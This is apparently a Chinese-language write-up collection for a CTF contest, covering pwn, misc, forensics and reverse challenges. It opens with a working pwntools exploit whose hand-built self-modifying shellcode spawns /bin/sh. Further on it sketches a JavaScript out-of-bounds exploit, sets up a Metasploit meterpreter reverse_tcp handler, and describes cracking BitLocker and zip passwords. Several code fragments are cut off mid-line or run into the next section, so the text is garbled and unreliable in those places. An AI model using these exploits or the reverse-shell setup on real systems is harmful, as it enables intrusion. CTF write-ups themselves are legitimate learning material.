from pwn import * context(os='linux', arch='amd64') #context.log_level = 'debug' BINARY = './create_code' elf = ELF(BINARY) if len(sys.argv) > 1 and sys.argv[1] == 'r': HOST = "127.0.0.1" PORT = 8888 s = remote(HOST, PORT) else: s = process(BINARY) #context.terminal = ['tmux', 'splitw', '-h'] #s = gdb.debug(BINARY) s.sendline('1') print(s.recvuntil("content: ")) flag = b"\x12\xF0\x12\xF0" buf = asm(''' add DWORD PTR [rip+0x600], eax ''') # make xor ecx,ecx code 0x31c9 buf += asm(''' add al, 0x0d add al, 0x0d add al, 0x0d add BYTE PTR [rdx+rax*1], al add al, 0x01 add BYTE PTR [rdx+rax*1], al add BYTE PTR [rdx+rax*1], al add BYTE PTR [rdx+rax*1], al add BYTE PTR [rdx+rax*1], al add BYTE PTR [rdx+rax*1], al ''') # padding buf += asm(''' add cl, BYTE PTR [rdx] add cl, BYTE PTR [rdx] add cl, BYTE PTR [rdx+rax*1] ''') buf += b"\x00"*(0x27-len(buf)) buf += b"\x0a\x01" # rcx = 0x200 buf += asm(''' add ecx, DWORD PTR [rip+0x30f] ''') # push rdx # 0x52 buf += asm(''' add al, 1 add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al ''') # pop rdi # 0x5f buf += asm(''' add cl, byte PTR [rdx] add al, 6 add byte PTR [rdx+rcx*1], al add al, 1 add byte PTR [rdx+rcx*1], al ''') # al = 0x30 # add rdi, 0x30f # 4881c70f030000 buf += asm(''' add cl, byte PTR [rdx] add al, 0xf add al, 1 add byte PTR [rdx+rcx*1], al add cl, byte PTR [rdx] add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add cl, byte PTR [rdx] add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add cl, byte PTR [rdx] add cl, byte PTR [rdx] add cl, byte PTR [rdx] add cl, byte PTR [rdx] ''') # al = 0x40 # xor esi, esi # 0x31f6 buf += asm(''' add cl, byte PTR [rdx] add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add byte PTR [rdx+rcx*1], al add cl, byte PTR [rdx] add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al ''') # al = 0x30 # xor edx, edx # 0x31d2 buf += asm(''' add cl, byte PTR [rdx] add byte PTR [rdx+rcx*1], al add cl, byte PTR [rdx] add al, 1 add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al ''') # al = 0x31 # push 0x3b # 0x6a3b buf += asm(''' add cl, byte PTR [rdx] add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add cl, byte PTR [rdx] add byte PTR [rdx+rcx*1], al ''') # al = 0x31 # pop rax # 0x58 buf += asm(''' add cl, byte PTR [rdx] add al, 0xf add al, 0xf add al, 0x9 add byte PTR [rdx+rcx*1], al ''') # al = 0x58 # make /bin/sh # rcx = 0x200 buf += asm(''' add ecx, DWORD PTR [rip+0x20f] add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0xf add al, 0x5 add byte PTR [rdx+rcx*1], al add cl, byte PTR [rdx] add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add cl, byte PTR [rdx] add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add cl, byte PTR [rdx] add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add cl, byte PTR [rdx] add byte PTR [rdx+rcx*1], al add cl, byte PTR [rdx] add al, 2 add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add cl, byte PTR [rdx] add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al add byte PTR [rdx+rcx*1], al ''') # padding buf += asm(''' add cl, BYTE PTR [rdx] ''')*((0x200-len(buf))//2 - 1) buf += asm(''' add cl, byte PTR [rdx+rax*1] ''') buf += b"\x00\x00\x08\x01\x07\x0f\x03\x00\x00\x01\x06\x01\x0e\x08\x0a\x00\x0f\x05" buf += b"\x00"*(0x2df-len(buf)) buf += b"\x00\x01" # rcx = 0x30f buf += b"\x00"*(0x30f-len(buf)) buf += b"\x0f\x02\x09\x0e\x0f\x0d\x02" # /bin/sh buf += b"\x00"*(0x30f+0x2f-len(buf)) buf += b"\x00\x02" # rcx = 0x200 buf += b"\x00"*(1000-len(buf)) s.sendline(flag+buf) s.interactive() Hello_Jerry

本题将 array.shift 进行了 patch ,每一次 shift 会将 length 减 2 ,那么当 length 为 1 的时候进行一次 shift 便可以得到一个 oob array ,之后便是常规的思路: leak elf_base -> leak libc_base -> leak stack_base -> write ret_addr to one_gadget 编辑exp.js

function printhex(s,u){ print(s,"0x" + u[1].toString(16).padStart(8, '0') + u[0].toString(16).padStart(8, '0')); } function hex(i){ return "0x" + i.toString(16).padStart(16, '0'); } function pack64(u){ return u[0] + u[1] * 0x100000000; } function l32(data){ let result = 0; for(let i=0;i shellcode 监听 use exploit/multi/handler set PAYLOAD linux/x64/meterpreter/reverse_tcp exploit -j

写文件 问题: 测试时写文件,发现文件存在,则上传的文件为.bak结尾。

但是代码中给了一段copy覆盖的代码,用来解决这个问题。 参考skay小姐姐的base64编码的方法: http://noahblog.360.cn/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/ 接下来就是将修改后的so文件上传并替换了,文件名为通过第一步获取到的文件名。 上传后,再次访问/test接口,触发rce。

OK,读取之到此结束。

Misc login

打开页面需要登录,无账号密码,唯一可疑的只有底下的获取实例,点击发现可以获取一个提示文档,并说按照文档向[email protected]发送邮件即可获取账号。

提示文档是个zip压缩包,里面还有一个加密的压缩包,看到三个文件都被加密了,第一反应解zip伪加密。

winhex修改所有0900伪0000后,发现文件的加密符都没了但是只有示例 - 副本可以正常打开。

由于副本和原文件的原始大小一样,所以盲猜是明文攻击,这里使用winrar压缩后,校对CRC一致,满足明文攻击要求,使用ARCHPR 4.54即可

1min左右就可以跑出密码为qwe@123,解压出password.zip,打开看见还是加密的,想要获得管理员账号密码,但仍有加密,且不是伪加密,又看到三个txt的原始大小只有6字节,这就是典型的CRC32碰撞,github上搜crc32直接碰

得到密码welc0me_sangforctf,解压得到.password.swp,linux下执行vim -r .password.swp 即可恢复出原文件。

回网站登录,看到恭喜我得到了flag,猜测藏在了页面源码里了。

但是所有查看源码的快捷键都被禁止了,都会弹框What are U f**king doing!,这里解法也不唯一,可以利用浏览器插件,也可以利用burpsuite,这我仅用bp举例。

Bridge

(本题有两个故事线,实际步骤可能与此wp有所不同) 第一步:使用binwalk分析出有zlib数据,但是无法使用binwalk -e或foremost分离出有效文件,在010editor中查看图片。

第二步:010 editor中看到最后一个IDAT数据块长度异常,导出这段zlib数据。

第三步:观察IDAT标识后面的87 9C两个字节,恢复成zlib数据头标识78 9C,写脚本将此段zlib数据解压缩,可得到一个rar压缩包。注意解压缩的zlib数据应该是去掉IDAT-length、IDAT-type、IDAT-crc的数据部分,即(78 9C ..... )。

import zlib data = open("zlib_hex_data.txt", 'r', encoding="utf-8").read().replace(" ", "").replace("\n", "").strip() data_dec = zlib.decompress(bytes.fromhex(data)) print(data_dec[:100]) with open("zlib_data.rar", 'wb') as wf: wf.write(data_dec) #b'Rar!\x1a\x07\x01\x00J\x97,}\x0c\x01\x05\x08\x00\x07\x01\x01\x96\x9c\x87\x80\x00\xf7\xea}W\x13\x03\x02\xbd\x00\x04\xbd\x00\x00\x90:\xd1\xdc\x80\x00\x00\x03CMT\xe5\xa6\x82\xe6\x9e\x9c\xe4\xbd\xa0\xe4\xb8\x8d\xe7\x9f\xa5\xe9\x81\x93\xe8\xbf\x99\xe6\x98\xaf\xe4\xbb\x80\xe4\xb9\x88\xe4\xb8\x9c\xe8\xa5\xbf\xef\xbc\x8c\xe5\x8f\xaf\xe4\xbb\xa5\xe5\x8e\xbb\xe7\x9c\x8b

解压压缩包可得flag2,注意压缩包中有提示请先获取flag1。 第四步:继续找flag1,分析最开始的那张图片,实际使用zsteg和exiftool可以发现其他可以信息。 exiftool看到Copyright有可以十六进制:翻译过来是:dynamical-geometry。

zsteg发现这张图片除了存在extradata外,在中也有脏数据。

使用StegSolve检查隐写。

第五步:导出十六进制,这里不能直接打开图片,可使用foremost将PNG快速分离出来,最后得到一张590x590,大小为979KB的图片,注意如果仅去掉PNG字符前数据并改后缀为PNG也能正常查看图片,但会阻塞下一步分析像素操作。 第六步:到这里只有一张色彩值杂乱的PNG图片,分析其像素。

from PIL import Image image = Image.open(r'C:\Users\during\Downloads\00000000.png') allpixels = [] for x in range(image.width): for y in range(image.height): allpixels.append(image.getpixel((x, y))) print(len(allpixels)) # 348100 print(allpixels[:4]) # [(40, 176, 80), (37, 181, 75), (1, 253, 3), (2, 252, 4)] # 0x50 0x4B 0x03 0x04

第七步:取前四个字节即可看出,像素第三列隐藏着压缩包十六进制,批量提取并保存成zip压缩包,使用第四步得到的密码:dynamical-geometry解密,得到flag1文件。

from PIL import Image image = Image.open(r'C:\Users\during\Downloads\00000000.png') allpixels = [] for x in range(image.width): for y in range(image.height): if image.getpixel((x, y)) == (0, 0, 0): continue allpixels.append(image.getpixel((x, y))[2]) hex_datalist = [str(hex(i))[2:].zfill(2) for i in allpixels] print("".join(hex_datalist)[:100]) # 504b0304140009006300caa05753d904fdb22a4b0500dce856000f000b00666c6167312d61736369692e73746c0199070001 with open("outpur.txt", 'w') as wf: wf.write("".join(hex_datalist))

第八步:记事本打开文件后,是3D打印模型中的STL格式文件,STL格式分为ascii、binary格式,使用在线工具或开源工具查看模型即可。这一步并不需要脑洞,拷贝stl-ascii格式数据百度即可查询到STL文件格式的有关内容。

根据flag1的STL格式,将flag2也尝试用STL预览器查看:

Disk

看文件名zse456tfdyhnjimko0-=[;.,.vera可以发现是用Veracrpyt加密后的文件,观察文件名发现是初级磁盘密码,根据字母按键盘能得到密码:pvd。

使用任意一个没有被使用的卷标识挂载文件,能够得到如下两个文件。

看文件头37 7A BC AF可只是7z压缩包,直接解压即可(是为了尽量减少附件体积,因为bitlocker加密对分区有大小限制所以初始分区较大),得到附件gooood。 拖入010editor,发现有如下字样,能够看出是windows下的分区,或者是放到linux下使用file命令进行识别。

修改后缀为vhd,双击gooood.vhd文件发现被bitlocker加密,使用bitlocker2john结合hashcat爆一下弱密码字典,bitlocker2john -i gooood.vhd,然后将User Password hash的值保存成hash.txt,将弱密码的字典放到passwd.txt,使用hashcat -m 22100 hash.txt passwd.txt --show爆出密码:abcd1234。

用abcd1234解密bitlocker加密的分区,打开之后是空的,使用diskgenius挂载分区,可以在隐藏分区的回收站里找到提示和附件。

打开文本文档发现hint是3389,即提示黑客使用远程桌面连接到了受害者主机看到了flag,这里有个知识点是关于:rdp协议默认开启位图缓存功能,会产生bmc文件,使用bmc-tool或者BMC Viewer能够恢复出缓存的图像。

清晰可见: cmRwY2FjaGUtYm1j,解密baset64即为flag:SangFor{rdpcache-bmc}。

flow hunter

1.首先要在众多流量中甄别出DNS流量中隐藏有关键信息,普通流量中DNS流量不会有这么多,其次也可以通过全局搜索secret关键字找到提示becareful_rainbow,根据rainbow关键词可以发现,DNS流量中请求了非常多域名后缀为rainbow.bubble的流量。

通过过滤:tcp and frame contains "secret"可以找到TRUESECRET。

2.这一步可以使用脚本提取,也可以使用tshark命令提取全部的dns.qry.name,tshark -Y misc3.pcap -T fields -e dns.qry.name -r 'udp.dstport==53' > domain.txt可将DNS中所有解析的域名存放于domain.txt中,删除所有的43.9.227.10.in-addr.arpa即可得到纯净的域名请求记录。

3.脚本提取二级域名前缀,组成十六进制保存成PNG图片可以得到一张二维码(datamatrix格式)。

print("".join([j.split(".")[1] for j in [i.strip() for i in open(r"domain.txt",'r').readlines() if i is not "\n"]]))

然后将十六进制放到010editor中保存为PNG,然后解码:

4.观察的到的秘钥ecb_pkcs7可知是AES加密,用这个秘钥去解密搜索关键词secret得到的密文(密文有五段,组合起来urldecode即可解密),得到sslkey.log,需要选定模式为:ECB-pkcs7-256

第一段密文

AES解密

5.得到日志后导入wireshark解密https的流量

Reverse Press

IDA打开分析主函数,如图:

程序先读取一个名为flag的文件,进行一系列计算后输出附件所示的out程序,容易分析出核心算法即为sub_40094B,分析此函数。

利用case中的字符,能够从公开网络中大致查出这类似于brainfuck语言,但有所扩展使得我们不能直接利用开源工具计算结果。

strcpy中的字符串即为类brainfuck的操作码,从上面的函数看,这段代码的含义大致为:读取一个字符,用160减去此字符,所得的结果再乘5,加2,输出到结果中。 利用out逐字节反算,可以得到一组base64值。

解base64即为flag。

Lithops

1.首先运行程序尝试输入,根据运行结果可以猜测存在一个值与输入的(经过运算后)flag进行比对。

2.程序的主函数并不复杂,在IDA里面查看一下反编译后的C代码。

可以看出比较关键的内容是sub_402970、sub_402900和sub_4028A0函数,以及v3、v9、v10和v7参数,再直接查看反汇编代码可以看出v7为用户输入的flag。

3.查看一下sub_4028A0函数,我们知道dword_xxxxxx表示地址为xxxxxx的32位数据,这里被当作函数来使用。

使用交叉引用查看一下,其在sub_401010函数中被赋值,该值由sub_4055A0函数通过红框中的两个参数计算而得。

再对dword_433C58使用交叉引用,对经验的应该可以看出这段代码是获取kernel32.dll的基址。

那么,知道API HASH技术的应该可以猜测到sub_4055A0函数主要用于根据模块基址和HASH寻找对应的API函数。 4.sub_402900

5.sub_402970

可以看出类似的情况分别出现在了sub_402900和sub_402970函数中,所有使用到的API函数都被隐藏了,这种情况下,我们可以采用动态调试。 在动态调试前,我们先明确这里存在一个值用于验证其输入的flag是否正确,通过上述内容可以看出这个值应该是输入的flag经过计算后的结果,我们的首要目标应该是寻得该值,并根据该值逆推flag。 6.sub_4028A0动态分析

可以看出在sub_4028A0函数中主要是用到的是MultiByteToWideChar函数,调试并根据参数还原该段代码,应该为:

void gb2312ToUnicode(const string& src, wstring& result) { int n = kMultiByteToWideChar(CP_ACP, 0, src.c_str(), -1, NULL, 0); result.resize(n); kMultiByteToWideChar(CP_ACP, 0, src.c_str(), -1, (LPWSTR)result.c_str(), result.length()); }

7.sub_402900动态分析

可以看出在sub_402900函数中主要用到的是WideCharToMultiByte函数,调试并根据参数还原该段代码,应该为:

void unicodeToUTF8(const wstring& src, string& result) { int n = kWideCharToMultiByte(CP_UTF8, 0, src.c_str(), -1, 0, 0, 0, 0); result.resize(n); kWideCharToMultiByte(CP_UTF8, 0, src.c_str(), -1, (char*)result.c_str(), result.length(), 0, 0); }

8.根据上述内容,我们可以知道程序会把输入的flag进行utf-8编码,并传入sub_402970函数验证。

sub_402970函数中主要使用到的API为GetModuleHandleA、lstrcpyA和lstrcmpA,该函数会从.rsrc节中获取用于验证flag正确性的值,即“E4 B8 8D E5 81 9A E4 BC 9F E5 A4 A7 E6 97 B6 E4 BB A3 E7 9A 84 E6 97 81 E8 A7 82 E8 80 85 0”。 到这一步,我们其实比较明确,该程序只是将输入进行utf-8编码,并与隐藏在.rsrc节中的key进行对比验证,根据该key我们写出writeup。

void unicodeToGB2312(const wstring& wstr, string& result) { int n = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, 0, 0, 0, 0); result.resize(n); ::WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, (char*)result.c_str(), n, 0, 0); } void utf8ToUnicode(const string& src, wstring& result) { int n = MultiByteToWideChar(CP_UTF8, 0, src.c_str(), -1, NULL, 0); result.resize(n); ::MultiByteToWideChar(CP_UTF8, 0, src.c_str(), -1, (LPWSTR)result.c_str(), result.length()); } int main(int argc, char** agrv) { string strGB2312; wstring wstrUnicode; char key[] = "\xE4\xB8\x8D\xE5\x81\x9A\xE4\xBC\x9F\xE5\xA4\xA7\xE6\x97\xB6\xE4\xBB\xA3\xE7\x9A\x84\xE6\x97\x81\xE8\xA7\x82\xE8\x80\x85\x00"; utf8ToUnicode(key, wstrUnicode); unicodeToGB2312(wstrUnicode, strGB2312); return 0; }

得到flag。

验证。

XOR

IDA打开,发现目标程序进行了混淆,进一步分析,可以知道使用了ollvm进行了混淆。

使用工具中的deflat.py脚本,去除混淆的代码。 python deflat.py shift_exercise 0x401170 去除之后,生成shift_exercise_recovered文件,IDA继续分析,仍然存在无用的控制流程。

进一步使用IDA插件script.py进行处理,获得更为直观的伪代码。

分析伪代码可以知道,该算法为修改过的crc64算法,依据加密算法,写出解密算法。

def multiply(multiplier_a, multiplier_b): tmp = [0] * 64 res = 0 for i in range(64): tmp[i] = (multiplier_a > i) & 1) res ^= tmp[i] return res def find_highest_bit(value): i = 0 while value != 0: i += 1 value >>= 1 return i def divide(numerator, denominator): quotient = 0 tmp = numerator bit_count = find_highest_bit(tmp) - find_highest_bit(denominator) while bit_count >= 0: quotient |= (1


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有